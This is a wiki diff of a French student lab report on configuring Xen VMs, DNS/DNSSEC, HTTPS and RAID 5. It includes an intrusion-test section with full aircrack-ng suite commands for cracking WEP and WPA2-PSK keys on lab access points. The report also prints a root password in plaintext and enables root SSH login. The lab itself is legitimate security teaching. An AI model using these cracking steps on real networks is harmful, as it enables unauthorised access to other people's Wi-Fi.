TP sysres IMA5 2021/2022 G2 : Différence entre versions
(→3. Configuration des Machines Virtuelles) |
(→Sujet) |
||
(82 révisions intermédiaires par 2 utilisateurs non affichées) | |||
Ligne 1 : | Ligne 1 : | ||
Wiki compte-rendu de TP PRA - Aviran Tetia & Robin Lasserye | Wiki compte-rendu de TP PRA - Aviran Tetia & Robin Lasserye | ||
− | = | + | = Cours et Sujet = |
+ | |||
+ | L'objectif de ce TP est de créer un réseau redondé | ||
+ | ==Cours== | ||
+ | Lien: | ||
+ | https://rex.plil.fr/Enseignement/Reseau/Reseau.IMA5sc/ | ||
+ | ==Sujet== | ||
+ | Lien : https://rex.plil.fr/Enseignement/Reseau/Protocoles.IMA5sc/ | ||
+ | |||
+ | = Configuration du Réseau physique = | ||
[insérer image] | [insérer image] | ||
Ligne 8 : | Ligne 17 : | ||
{| class="wikitable" | {| class="wikitable" | ||
− | ! Groupe !! VLAN !! Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4 6509E (E304) !! IPv4 C9200 (E306) !! IPv4 ISR4331 | + | ! Groupe !! VLAN !! Réseau IPv4 !! Réseau IPv6 !! @IPv4 virtuelle !! IPv4/IPv6 6509E (E304) !! IPv4/IPv6 C9200 (E306) !! IPv4/IPv6 ISR4331 !!SSID !! VM |
|- | |- | ||
| Andrei / Julien || 10 || 10.00.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.00.0.250 || 10.00.0.251 || 10.00.0.252 || 10.00.0.253 || Jonquille || Kronenbourg | | Andrei / Julien || 10 || 10.00.0.0/16 || 2001:7A8:116E:60B0::0/64 || 10.00.0.250 || 10.00.0.251 || 10.00.0.252 || 10.00.0.253 || Jonquille || Kronenbourg | ||
|- | |- | ||
− | | Robin / Aviran || | + | | Robin / Aviran || 11 || 10.11.0.0/16 || 2001:7A8:116E:60B1::0/64 || 10.11.0.250 || 10.11.0.251 || 10.11.0.252 || 10.11.0.253 || Marguerite || Paixdieu |
|- | |- | ||
− | | Axel / Guillaume || 02 || 10. | + | | Axel / Guillaume || 02 || 10.2.0.0/16 || 2001:7A8:116E:60B2::0/64 || 10.02.0.250 || 10.02.0.251 || 10.02.0.252 || 10.02.0.253 || Pensee || Kasteel |
|- | |- | ||
− | | Selim / Raphael || 03 || 10. | + | | Selim / Raphael || 03 || 10.3.0.0/16 || 2001:7A8:116E:60B3::0/64 || 10.03.0.250 || 10.03.0.251 || 10.03.0.252 || 10.03.0.253 || Lavende || Karmeliet |
|- | |- | ||
− | | Helene / Camille || 04 || 10. | + | | Helene / Camille || 04 || 10.4.0.0/16 || 2001:7A8:116E:60B4::0/64 || 10.04.0.250 || 10.04.0.251 || 10.04.0.252 || 10.04.0.253 || Tulipe || Duff |
|- | |- | ||
− | | Boris / Louis || 05 || 10. | + | | Boris / Louis || 05 || 10.5.0.0/16 || 2001:7A8:116E:60B5::0/64 || 10.05.0.250 || 10.05.0.251 || 10.05.0.252 || 10.05.0.253 || Rose || Bellerose |
|- | |- | ||
− | | Johnny / Arthur || 06 || 10. | + | | Johnny / Arthur || 06 || 10.6.0.0/16 || 2001:7A8:116E:60B6::0/64 || 10.06.0.250 || 10.06.0.251 || 10.06.0.252 || 10.06.0.253 || Orchidee || Anosteke |
|- | |- | ||
− | | Mel / Theo || 07 || 10. | + | | Mel / Theo || 07 || 10.7.0.0/16 || 2001:7A8:116E:60B7::0/64 || 10.07.0.250 || 10.07.0.251 || 10.07.0.252 || 10.07.0.253 || Tournesol || RinceCochon |
|- | |- | ||
− | | Khalil / | + | | Khalil / Alvaro || 08 || 10.8.0.0/16 || 2001:7A8:116E:60B8::0/64 || 10.08.0.250 || 10.08.0.251 || 10.08.0.252 || 10.08.0.253 || Lys || godless |
|- | |- | ||
− | | | + | | Souleyman / Enoch || 09 || 10.9.0.0/16 || 2001:7A8:116E:60B9::0/64 || 10.09.0.250 || 10.09.0.251 || 10.09.0.252 || 10.09.0.253 || Pissenlit || Panache |
|- | |- | ||
− | | Clement || 110 || 10.10.0.0/16 || 2001:7A8:116E: | + | | Clement || 110 || 10.10.0.0/16 || 2001:7A8:116E:60BA::0/64 || 10.10.0.250 || 10.10.0.251 || 10.10.0.252 || 10.10.0.253 || Coquelicot || Corona |
+ | |- | ||
+ | | INTERCO || 531 || 192.168.222.72/29 || || || 192.168.222.74 || 192.168.222.75 || 192.168.222.76 || || | ||
+ | |- | ||
+ | | XEN || 42 || 193.48.57.160/28 || 2001:7A8:116E:60BF::0/64 || 193.48.57.190/28 2001:7A8:116E:60B0::F3/64 || 193.48.57.187/28 2001:7A8:116E:60B0::F0/64|| 193.48.57.188/28 2001:7A8:116E:60B0::F1/64 || 192.48.57.189/28 2001:7A8:116E:60B0::F2/64|| || | ||
|- | |- | ||
|} | |} | ||
Ligne 38 : | Ligne 51 : | ||
! Groupe !! @IPv4 MV !! @IPv6 MV (auto) | ! Groupe !! @IPv4 MV !! @IPv6 MV (auto) | ||
|- | |- | ||
− | | Andrei / Julien || 193.48.57.176 || | + | | Andrei / Julien || 193.48.57.176/28 || |
|- | |- | ||
− | | Robin / Aviran || 193.48.57.177 || | + | | Robin / Aviran || 193.48.57.177/28 || |
|- | |- | ||
− | | Axel / Guillaume || 193.48.57.178 || | + | | Axel / Guillaume || 193.48.57.178/28 || |
|- | |- | ||
− | | Selim / Raphael || 193.48.57.179 || | + | | Selim / Raphael || 193.48.57.179/28 || |
|- | |- | ||
− | | Helene / Camille || 193.48.57.180 || | + | | Helene / Camille || 193.48.57.180/28 || |
|- | |- | ||
− | | Boris / Louis || 193.48.57.181 || | + | | Boris / Louis || 193.48.57.181/28 || |
|- | |- | ||
− | | Johnny / Arthur || 193.48.57.182 || | + | | Johnny / Arthur || 193.48.57.182/28 || |
|- | |- | ||
− | | Mel / Theo || 193.48.57.183 || | + | | Mel / Theo || 193.48.57.183/28 || |
|- | |- | ||
− | | Khalil / Alvare || 193.48.57.184 || | + | | Khalil / Alvare || 193.48.57.184/28 || |
|- | |- | ||
− | | | + | | Souleyman / Enoch || 193.48.57.185/28 || |
|- | |- | ||
− | | Clement || 193.48.57.186 || | + | | Clement || 193.48.57.186/28 || |
|- | |- | ||
|} | |} | ||
+ | <!-- | ||
Note : | Note : | ||
Ligne 125 : | Ligne 139 : | ||
| Vlan INTERCO E304 | | Vlan INTERCO E304 | ||
| | | | ||
− | | 192.168.222. | + | | 192.168.222.41/29 |
| | | | ||
| fe80::/10 ::1 | | fe80::/10 ::1 | ||
Ligne 136 : | Ligne 150 : | ||
| Vlan INTERCO E306 | | Vlan INTERCO E306 | ||
| | | | ||
− | | 192.168.222. | + | | 192.168.222.42/29 |
| | | | ||
| fe80::/10 ::2 | | fe80::/10 ::2 | ||
Ligne 147 : | Ligne 161 : | ||
| Vlan INTERCO SR53 | | Vlan INTERCO SR53 | ||
| | | | ||
− | | 192.168.222. | + | | 192.168.222.43/29 |
| | | | ||
| fe80::/10 ::3 | | fe80::/10 ::3 | ||
Ligne 156 : | Ligne 170 : | ||
| | | | ||
|} | |} | ||
− | + | !--> | |
Ligne 173 : | Ligne 187 : | ||
|} | |} | ||
− | = 3. Configuration des Machines Virtuelles = | + | = Administration = |
+ | Vlan 1 = Vlan d'administration | ||
+ | {| class="wikitable" | ||
+ | ! Nom de l'appareil !! IPv4 | ||
+ | |- | ||
+ | |router e306 || 10.1.0.1/24 | ||
+ | |- | ||
+ | |router e304 || 10.1.0.2/24 | ||
+ | |- | ||
+ | |ap e306 || 10.1.0.3/24 | ||
+ | |- | ||
+ | |ap e304 || 10.1.0.4/24 | ||
+ | |- | ||
+ | |} | ||
+ | |||
+ | = Configuration des Machines Virtuelles = | ||
On se connecte en ssh à capbreton : | On se connecte en ssh à capbreton : | ||
Ligne 201 : | Ligne 230 : | ||
'file:/usr/local/xen/domains/Paixdieu/disk.img,xvda2,w', | 'file:/usr/local/xen/domains/Paixdieu/disk.img,xvda2,w', | ||
'file:/usr/local/xen/domains/Paixdieu/swap.img,xvda1,w', | 'file:/usr/local/xen/domains/Paixdieu/swap.img,xvda1,w', | ||
− | ''''phy:/dev/storage/Paixdieu1,xvda3,w', | + | ''''phy:/dev/storage/Paixdieu1,xvda3,w',''' |
− | 'phy:/dev/storage/Paixdieu2,xvda4,w'''' | + | ''''phy:/dev/storage/Paixdieu2,xvda4,w'''' |
] | ] | ||
Ligne 238 : | Ligne 267 : | ||
/dev/xvda1 none swap sw 0 0 | /dev/xvda1 none swap sw 0 0 | ||
/dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1 | /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1 | ||
− | + | '''/dev/xvda3 /home ext4 defaults 0 2''' | |
− | + | '''/dev/xvda4 /var ext4 defaults 0 2''' | |
Puis nous lancons la commande de montage: | Puis nous lancons la commande de montage: | ||
Ligne 250 : | Ligne 279 : | ||
xvda1 202:1 0 512M 0 disk [SWAP] | xvda1 202:1 0 512M 0 disk [SWAP] | ||
xvda2 202:2 0 4G 0 disk / | xvda2 202:2 0 4G 0 disk / | ||
− | '''xvda3 202:3 0 10G 0 disk /home | + | '''xvda3 202:3 0 10G 0 disk /home''' |
− | xvda4 202:4 0 10G 0 disk /var''' | + | '''xvda4 202:4 0 10G 0 disk /var''' |
Pour finir nous activons l'IPv6 dans l'interface en ajoutant les lignes suivantes dans /etc/network/interfaces: | Pour finir nous activons l'IPv6 dans l'interface en ajoutant les lignes suivantes dans /etc/network/interfaces: | ||
# This file describes the network interfaces available on your system | # This file describes the network interfaces available on your system | ||
# and how to activate them. For more information, see interfaces(5). | # and how to activate them. For more information, see interfaces(5). | ||
− | + | ||
# The loopback network interface | # The loopback network interface | ||
auto lo | auto lo | ||
iface lo inet loopback | iface lo inet loopback | ||
− | + | ||
# The primary network interface | # The primary network interface | ||
auto eth0 | auto eth0 | ||
iface eth0 inet static | iface eth0 inet static | ||
address 193.48.57.177 | address 193.48.57.177 | ||
− | gateway 193.48.57. | + | gateway 193.48.57.190 |
netmask 255.255.255.240 | netmask 255.255.255.240 | ||
'''iface eth0 inet6 auto''' | '''iface eth0 inet6 auto''' | ||
− | + | ||
# post-up ethtool -K eth0 tx off | # post-up ethtool -K eth0 tx off | ||
Ligne 295 : | Ligne 324 : | ||
valid_lft forever preferred_lft forever | valid_lft forever preferred_lft forever | ||
− | Puis nous quittons la VM avec '''CTRL +''' | + | Puis nous quittons la VM avec '''CTRL + [''' |
+ | |||
Pour y retourner: | Pour y retourner: | ||
xen console Paixdieu | xen console Paixdieu | ||
− | = 4. Architecture réseau = | + | Pour retourner sur sa machine virtuelle, il faut : |
+ | |||
+ | - retourner sur capbreton | ||
+ | ssh root@capbreton | ||
+ | - Relancer la VM (login : root | password : glopglopglop): | ||
+ | xl create -c /etc/xen/Paixdieu.cfg | ||
+ | |||
+ | Nous avons configuré la résolution de noms dans /etc/network/interfaces, en ajoutons la ligne suivante : | ||
+ | # This file describes the network interfaces available on your system | ||
+ | # and how to activate them. For more information, see interfaces(5). | ||
+ | |||
+ | # The loopback network interface | ||
+ | auto lo | ||
+ | iface lo inet loopback | ||
+ | |||
+ | # The primary network interface | ||
+ | auto eth0 | ||
+ | iface eth0 inet static | ||
+ | address 193.48.57.177 | ||
+ | gateway 193.48.57.190 | ||
+ | netmask 255.255.255.240 | ||
+ | '''dns-nameservers 8.8.8.8 8.8.4.4''' | ||
+ | iface eth0 inet6 auto | ||
+ | |||
+ | Puis nous avons vérifié son fonctionnement à l'aide d'un : | ||
+ | ping www.google.com | ||
+ | ... | ||
+ | --- www.google.com ping statistics --- | ||
+ | 5 packets transmitted, 5 received, 0% packet loss, time 4005ms | ||
+ | |||
+ | ==Configuration du SSH== | ||
+ | |||
+ | Dans /etc/ssh/sshd_config, ajout des lignes : | ||
+ | Port 2223 | ||
+ | PermitRootLogin yes | ||
+ | |||
+ | Puis : | ||
+ | > systemctl restart ssh | ||
+ | > systemctl status ssh | ||
+ | ssh.service - OpenBSD Secure Shell server | ||
+ | Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: e> | ||
+ | Active: active (running) since Mon 2021-11-29 14:47:49 UTC; 2s ago | ||
+ | Docs: man:sshd(8) | ||
+ | man:sshd_config(5) | ||
+ | Process: 3679 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS) | ||
+ | Main PID: 3680 (sshd) | ||
+ | Tasks: 1 (limit: 230) | ||
+ | Memory: 1.3M | ||
+ | CPU: 21ms | ||
+ | CGroup: /system.slice/ssh.service | ||
+ | `-3680 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups | ||
+ | |||
+ | Puis nous testons le SSH depuis le terminal de la Zabeth : | ||
+ | > ssh root@193.48.57.177 -p 2223 | ||
+ | password : glopglopglop | ||
+ | |||
+ | Nous arrivons à nous connecter, la configuration du SSh est donc un succès. | ||
+ | |||
+ | ==Configuration du DNS== | ||
+ | |||
+ | On a installé le package bind9 : | ||
+ | >apt install bind9 | ||
+ | |||
+ | Sur le site gandit.net, nous avons modifié : | ||
+ | |||
+ | Fenêtre Glue Records : ns1.paixdieu.site | 193.48.57.177 | ||
+ | |||
+ | Fenêtre Serveurs de noms : | ||
+ | |||
+ | DNS Primaire : ns1.paixdieu.site | DNS Secondaire : ns6.gandi.net | ||
+ | Note : Après avoir constaté que le serveur secondaire ne se mettait pas à jour après chaque "notify" du serveur primaire, nous avons finalement choisi d'utiliser le serveur ns1.belle-rose.site en tant que serveur secondaire. | ||
+ | |||
+ | Dans le fichier /etc/resolv.conf, ajout de la ligne : | ||
+ | nameserver 127.0.0.1 | ||
+ | Afin de configurer le DNS par defaut. | ||
+ | |||
+ | Puis nous passons à la configuration du DNS primaire : | ||
+ | On ajoute donc une zone lié à notre domaine paixdieu.site de type master et le chemin de son fichier de configuration et on permet les transferts d'informations avec le DNS secondaire ns6.gandi.net. | ||
+ | |||
+ | On ajoute donc les lignes suivantes dans /etc/bind/named.conf.local: | ||
+ | >vim /etc/bind/named.conf.local | ||
+ | |||
+ | zone "paixdieu.site" { | ||
+ | type master; | ||
+ | file "/etc/bind/db.paixdieu.site"; | ||
+ | }; | ||
+ | |||
+ | Nous avons séparés configuration des serveurs autorisés à dupliqué nos zones de la config de nos zones en insérant les acl suivantes dans le fichier /etc/bind/named.conf. | ||
+ | |||
+ | options { | ||
+ | directory "/var/cache/bind"; | ||
+ | dnssec-validation auto; | ||
+ | dnssec-enable yes; | ||
+ | dnssec-lookaside auto; | ||
+ | listen-on-v6 { any; }; | ||
+ | allow-transfer { "allowed_to_transfer"; }; | ||
+ | }; | ||
+ | acl "allowed_to_transfer" { | ||
+ | 217.70.177.40; //@ de ns6.gandi.net mais plus utilisé au final | ||
+ | 193.48.57.181; //@ de ns1.belle-rose.site | ||
+ | }; | ||
+ | |||
+ | Puis nous configurons la zone paixdieu.site, pour cela on ajoute les ns. | ||
+ | On ajoute les lignes suivantes dans /etc/bind/db.paixdieu.site: | ||
+ | >vim /etc/bind/db.paixdieu.site | ||
+ | @ IN SOA ns1.paixdieu.site. postmaster.paixdieu.site. ( | ||
+ | 4 ; Serial | ||
+ | 604800 ; Refresh | ||
+ | 86400 ; Retry | ||
+ | 2419200 ; Expire | ||
+ | 604800 ) ; Negative Cache TTL | ||
+ | ; | ||
+ | @ IN NS ns1.paixdieu.site. | ||
+ | @ IN NS ns1.belle-rose.site. | ||
+ | ns1 IN A 193.48.57.177 | ||
+ | www IN A 193.48.57.177 | ||
+ | |||
+ | Pour tester le bon fonctionnement du serveur DNS, nous utilisons la commande : | ||
+ | |||
+ | >host -t any paixdieu.site localhost | ||
+ | |||
+ | Résultat, cela fonctionne bien : | ||
+ | |||
+ | Using domain server: | ||
+ | Name: localhost | ||
+ | Address: 127.0.0.1#53 | ||
+ | Aliases: | ||
+ | paixdieu.site has SOA record ns1.paixdieu.site. postmaster.paixdieu.site. 4 604800 86400 2419200 604800 | ||
+ | paixdieu.site name server ns1.belle-rose.site. | ||
+ | paixdieu.site name server ns1.paixdieu.site. | ||
+ | |||
+ | ==HTTPS / Certificat SSL== | ||
+ | Nous avons ensuite procéder à la création des certificats SSL. | ||
+ | Nous sommes donc allés sur Gandi, acheter un certificat. | ||
+ | Pour cela nous avons généré un CSR avec la commande : | ||
+ | openssl req -nodes -newkey rsa:2048 -sha256 -keyout paixdieu.site.key -out paixdieu.site.csr | ||
+ | |||
+ | -newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits. | ||
+ | |||
+ | -keyout paixdieu.site.key permet de sauvegarder le fichier de clé privée sous le nom "paixdieu.site.key". | ||
+ | |||
+ | -out paixdieu.csr permet de sauvegarder le fichier CSR sous le nom "paixdieu.csr". | ||
+ | |||
+ | Lors du paramètrage, nous avons bien fait attention à rentrer "paixdieu.site" comme common name pour que le certificat soit validé par gandi. | ||
+ | Cela se fait en copiant le contenu de paixdieu.site.csr dans la fenêtre correspondante lors de l'achat du certificat. | ||
+ | |||
+ | Afin de bien sauvegarder les fichiers utilisés, nous les avons sauvegarder dans le dossier suivant: | ||
+ | ~/save_dns/paixdieu.site.csr | ||
+ | ~/save_dns/paixdieu.site.key | ||
+ | |||
+ | ==Sécurisation de serveur DNS par DNSSEC== | ||
+ | |||
+ | Activer DNSSEC | ||
+ | |||
+ | Dans /etc/bind/named.conf.options on ajoute les lignes : | ||
+ | dnssec-validation yes; | ||
+ | dnssec-enable yes; | ||
+ | dnssec-lookaside auto; | ||
+ | |||
+ | On crée un répertoire /etc/bind/paixdieu.site.dnssec/ | ||
+ | On crée la clef asymétrique de signature de clefs de zone | ||
+ | dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE paixdieu.site | ||
+ | On crée la clef asymétrique de la zone pour signer les enregistrements | ||
+ | dnssec-keygen -a RSASHA1 -b 1024 -n ZONE paixdieu.site | ||
+ | |||
+ | |||
+ | On renomme les clés : | ||
+ | mv Kpaixdieu.site.+005+17429.key paixdieu.site-ksk.key | ||
+ | mv Kpaixdieu.site.+005+17429.private paixdieu.site-ksk.private | ||
+ | mv Kpaixdieu.site.+005+28633.key paixdieu.site-zsk.key | ||
+ | mv Kpaixdieu.site.+005+28633.private paixdieu.site-zsk.private | ||
+ | |||
+ | On les inclue à la suite de /etc/bind/db.paixdieu.site | ||
+ | $include /etc/bind/paixdieu.site.dnssec/paixdieu.site-ksk.key | ||
+ | $include /etc/bind/paixdieu.site.dnssec/paixdieu.site-zsk.key | ||
+ | |||
+ | Puis incrémente le numéro de série (5=>6) | ||
+ | |||
+ | On signe des enregistrements de la zone | ||
+ | dnssec-signzone -o paixdieu.site -k paixdieu.site-ksk ../db.paixdieu.site paixdieu.site-zsk | ||
+ | |||
+ | Prise en compte du fichier signé | ||
+ | |||
+ | On modifie le fichier /etc/bind/named.conf.local de la manière suivante : | ||
+ | zone "paixdieu.site" { | ||
+ | type master; | ||
+ | file "/etc/bind/db.paixdieu.site.signed"; | ||
+ | }; | ||
+ | |||
+ | Pour finir, nous allons sur gandi.net, sur notre nom de domaine dans DNSSEC et nous ajoutons la clef (ksk avec l'algorithme 5 (RSA/SHA-1). | ||
+ | Et nous vérifions le bon fonctionnement du DNSSEC de la manière suivante : | ||
+ | > dnssec-verify -o paixdieu.site db.paixdieu.site.signed | ||
+ | |||
+ | Loading zone 'paixdieu.site' from file 'db.paixdieu.site.signed' | ||
+ | |||
+ | Verifying the zone using the following algorithms: | ||
+ | - RSASHA1 | ||
+ | Zone fully signed: | ||
+ | Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked | ||
+ | ZSKs: 1 active, 0 stand-by, 0 revoked | ||
+ | |||
+ | ==Sécurisation de site web par certificat== | ||
+ | |||
+ | On active le module SSL | ||
+ | a2enmod ssl | ||
+ | |||
+ | On configure le port 443 pour l'HTTPS en remplaçant dans le fichier ''/etc/apache2/ports.conf'' : | ||
+ | Listen 80 | ||
+ | |||
+ | <IfModule ssl_module> | ||
+ | Listen 443 | ||
+ | </IfModule> | ||
+ | |||
+ | par | ||
+ | |||
+ | <IfModule mod_ssl.c> | ||
+ | Listen 443 | ||
+ | </IfModule> | ||
+ | |||
+ | On place paixdieu.site.key dans /etc/ssl/private/ et paixdieu.site.crt dans /etc/ssl/certs/ | ||
+ | |||
+ | On crée les liens symboliques pour les certificats | ||
+ | |||
+ | > c_rehash /etc/ssl/certs | ||
+ | Doing /etc/ssl/certs | ||
+ | WARNING: Skipping duplicate certificate ca-certificates.crt | ||
+ | WARNING: Skipping duplicate certificate ca-certificates.crt | ||
+ | |||
+ | On configure apache en ajoutant la ligne suivante dans le fichier /etc/apache2/apache2.conf : | ||
+ | ServerName paixdieu.site | ||
+ | |||
+ | On crée le fichier de configuration custom /etc/apache2/sites-available/000-paixdieu.site-ssl.conf : | ||
+ | |||
+ | <VirtualHost *:80> | ||
+ | ServerName paixdieu.site | ||
+ | ServerAlias www.paixdieu.site | ||
+ | ServerAdmin webmaster@localhost | ||
+ | DocumentRoot /var/www/html | ||
+ | Redirect permanent / https://paixdieu.site/ | ||
+ | </VirtualHost> | ||
+ | <VirtualHost *:443> | ||
+ | ServerAdmin webmaster@localhost | ||
+ | ServerName paixdieu.site | ||
+ | ServerAlias www.paixdieu.site | ||
+ | DocumentRoot /var/www/html | ||
+ | SSLEngine on | ||
+ | SSLCertificateFile /etc/ssl/certs/paixdieu.site.crt | ||
+ | SSLCertificateKeyFile /etc/ssl/private/paixdieu.site.key | ||
+ | ErrorLog ${APACHE_LOG_DIR}/error.log | ||
+ | CustomLog ${APACHE_LOG_DIR}/access.log combined | ||
+ | </VirtualHost> | ||
+ | |||
+ | |||
+ | Puis nous activons le site ssl : | ||
+ | a2ensite 000-paixdieu.site-ssl | ||
+ | |||
+ | Nous arrivons bien à nous connecter à https://www.paixdieu.site | ||
+ | Et un test avec openssl nous renvoie le résultat suivant : | ||
+ | |||
+ | CONNECTED(00000003) | ||
+ | Can't use SSL_get_servername | ||
+ | depth=0 CN = paixdieu.site | ||
+ | verify error:num=20:unable to get local issuer certificate | ||
+ | verify return:1 | ||
+ | depth=0 CN = paixdieu.site | ||
+ | verify error:num=21:unable to verify the first certificate | ||
+ | verify return:1 | ||
+ | depth=0 CN = paixdieu.site | ||
+ | verify return:1 | ||
+ | --- | ||
+ | Certificate chain | ||
+ | 0 s:CN = paixdieu.site | ||
+ | i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2 | ||
+ | --- | ||
+ | Server certificate | ||
+ | -----BEGIN CERTIFICATE----- | ||
+ | [...] | ||
+ | -----END CERTIFICATE----- | ||
+ | subject=CN = paixdieu.site | ||
+ | issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2 | ||
+ | --- | ||
+ | |||
+ | = Architecture réseau = | ||
== L'architecture générale == | == L'architecture générale == | ||
Ligne 312 : | Ligne 624 : | ||
[insérer résumé] | [insérer résumé] | ||
− | + | =Tests d'intrusion= | |
+ | ==Cassage de clef WEP d’un point d’accès WiFi== | ||
+ | |||
Pendant que l'infrastructure réseau était en train d'être configurée, nous avons testé de casser une clé wep. | Pendant que l'infrastructure réseau était en train d'être configurée, nous avons testé de casser une clé wep. | ||
Commandes réalisées sur un eeePC sous Linux : | Commandes réalisées sur un eeePC sous Linux : | ||
− | Mettre la carte réseau WiFi en mode monitor : | + | Récupération du nom de l'interface réseau WiFi du eeePC: |
+ | |||
+ | ip a | ||
+ | |||
+ | On trouve : '''wlx40a5ef0f68cb''' | ||
+ | |||
+ | Mettre la carte réseau WiFi en mode monitor sur le channel 4: | ||
− | airmon-ng start | + | airmon-ng start wlx40a5ef0f68cb 4 |
+ | Après cette étape, il est possible que la carte réseau soit renommée par airmon-ng en wlan0mon. | ||
Vérification que celle-ci est bien en mode monitor : | Vérification que celle-ci est bien en mode monitor : | ||
Ligne 326 : | Ligne 647 : | ||
iwconfig | iwconfig | ||
+ | Ecouter les beacon WiFi sur cette carte réseau : | ||
+ | |||
+ | airodump-ng wlan0mon | ||
+ | |||
+ | |||
+ | De cette écoute , nous choisissons l'AP nommé '''cracotte09''' avec le BSSID : '''04:DA:D2:9C:50:58''' | ||
+ | |||
+ | Nous simulons l'authentification sur cet AP : | ||
+ | |||
+ | aireplay-ng -9 -e cracotte09 -a 04:DA:D2:9C:50:58' wlan0mon | ||
+ | |||
+ | -9 : mode injection | ||
+ | -e cracotte09 : nom du point d'accès | ||
+ | -a 04:DA:D2:9C:50:58 : bssid du point d'accès | ||
+ | |||
+ | Nous récupérons ensuite un nombre de frames conséquent émis par cet access point : | ||
+ | |||
+ | aireplay-ng -1 0 -e cracotte09 -a 04:DA:D2:9C:50:58 -h 40:A5:EF:01:28:D0 wlan0mon | ||
+ | |||
+ | -1 : mode "fake authentification" | ||
+ | 0 : délai entre les demandes d'authentifications | ||
+ | -h 40:A5:EF:01:27:D0 : bssid de l'interface réseau | ||
+ | |||
+ | Résultat : | ||
+ | |||
+ | [[Fichier:Key_name.png|center|thumb|500px|Branchements duu eeee PC]] | ||
+ | |||
+ | ==Cassage de clef WPA2-PSK d’un point d’accès WiFi== | ||
+ | |||
+ | Maintenant nous choisissions kracotte5 comme victime à l'aide du groupe de commande précédentes, c'est à dire : | ||
+ | |||
+ | airmon-ng start wlx40a5ef0f68cb 4 | ||
+ | |||
+ | airodump-ng wlan0mon | ||
+ | |||
+ | Une fois que nous avons trouvé la victime (kracotte 5 ainsi que son BSSID), nous tentons de récupérer un handshake provenant de ce point d'accès et nous le stockons dans un fichier psk : | ||
+ | |||
+ | airodump-ng -c 4 --bssid 44:AD:D9:5F:87:04 -w psk wlan0mon | ||
+ | |||
+ | Nous installons ensuite un utilitaire pour générer le dictionnaire de clé WPA2-PSK qui sera utilisé par aircrack-ng pour se connecter au point d'accès wifi kracotte5 : | ||
+ | |||
+ | apt-get install crunch | ||
+ | |||
+ | Pour installer cette utilitaire nous pouvons relier l'eeePc au réseau de l'école à l'aide du deuxième câble ethernet disponnible à l'arrière des zabeth : | ||
+ | |||
+ | |||
+ | [[Fichier:branchement_eee_pc.png|center|thumb|500px|Branchements duu eeee PC]] | ||
+ | |||
+ | |||
+ | Une fois installé nous pouvons générer le dictionnaire : | ||
+ | crunch 8 8 0123456789 -o password.lst | ||
+ | |||
+ | Une fois généré, nous pouvons lancer la précédure de crackage (qui peut être très longue) : | ||
+ | |||
+ | aircrack-ng -w password.lst -b 44:AD:D9:5F:87:04 psk*.cap | ||
+ | |||
+ | [[Fichier:Crackage_wpa.png|center|thumb|500px|Crackage WPA]] | ||
+ | |||
+ | ==Intrusion sur un serveur d’application Web== | ||
+ | [[Fichier:Wiki intrusion 5.5.zip]] | ||
+ | |||
+ | = RAID Logiciel = | ||
+ | |||
+ | Partitions crées sur capbreton : | ||
+ | |||
+ | ssh root@capbreton | ||
+ | lvcreate -L1G -n paixdieu-part1 storage | ||
+ | lvcreate -L1G -n paixdieu-part2 storage | ||
+ | lvcreate -L1G -n paixdieu-part3 storage | ||
+ | |||
+ | Ajout de ces volumes à notre configuration de VM (/etc/xen/Paixdieu.cfg) : | ||
+ | |||
+ | disk = [ | ||
+ | 'file:/usr/local/xen/domains/Paixdieu/disk.img,xvda2,w', | ||
+ | 'file:/usr/local/xen/domains/Paixdieu/swap.img,xvda1,w', | ||
+ | 'phy:/dev/storage/Paixdieu1,xvda3,w', | ||
+ | 'phy:/dev/storage/Paixdieu2,xvda4,w' | ||
+ | 'phy:/dev/storage/paixdieu-part1, xvda5,w' | ||
+ | 'phy:/dev/storage/paixdieu-part2, xvda6,w' | ||
+ | 'phy:/dev/storage/paixdieu-part3, xvda7,w' | ||
+ | ] | ||
+ | |||
+ | Nous relançons la vm : | ||
+ | |||
+ | 1. Sur la vm : | ||
+ | shutdown now | ||
+ | |||
+ | 2. Sur Capbreton : | ||
+ | xl create /etc/xen/Paixdieu.cfg -c | ||
+ | |||
+ | Installation de l'utilitaire : | ||
+ | |||
+ | apt install mdadm | ||
+ | |||
+ | Création du raid 5 : | ||
+ | |||
+ | mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 | ||
+ | |||
+ | Vérification de la création des volumes : | ||
+ | lsblk | ||
+ | |||
+ | Nous donne : | ||
+ | NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT | ||
+ | loop0 7:0 0 99.4M 1 loop /snap/core/11993 | ||
+ | loop1 7:1 0 61.9M 1 loop /snap/core20/1270 | ||
+ | loop2 7:2 0 43.1M 1 loop /snap/certbot/1670 | ||
+ | xvda1 202:1 0 512M 0 disk [SWAP] | ||
+ | xvda2 202:2 0 4G 0 disk / | ||
+ | xvda3 202:3 0 10G 0 disk /home | ||
+ | xvda4 202:4 0 10G 0 disk /var | ||
+ | xvda5 202:5 0 1G 0 disk | ||
+ | `-md0 9:0 0 2G 0 raid5 | ||
+ | xvda6 202:6 0 1G 0 disk | ||
+ | `-md0 9:0 0 2G 0 raid5 | ||
+ | xvda7 202:7 0 1G 0 disk | ||
+ | `-md0 9:0 0 2G 0 raid5 | ||
+ | |||
+ | Remarque : Les volumes sont créés mais pas encore montés. (rien écrit dans le champs "MOUNTPOINT") | ||
+ | |||
+ | Création d'un point de montage : | ||
+ | mkfs.ext4 /dev/md0 | ||
+ | mkdir /media/raid | ||
+ | |||
+ | Ajout de la ligne suivant dans le fichier /etc/fstab : | ||
+ | /dev/md0 /media/raid ext4 defaults 0 1 | ||
+ | |||
+ | Montage des disques : | ||
+ | mount -a | ||
+ | |||
+ | Vérification du montages des disques : | ||
+ | lsblk | ||
+ | |||
+ | Donne : | ||
+ | NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT | ||
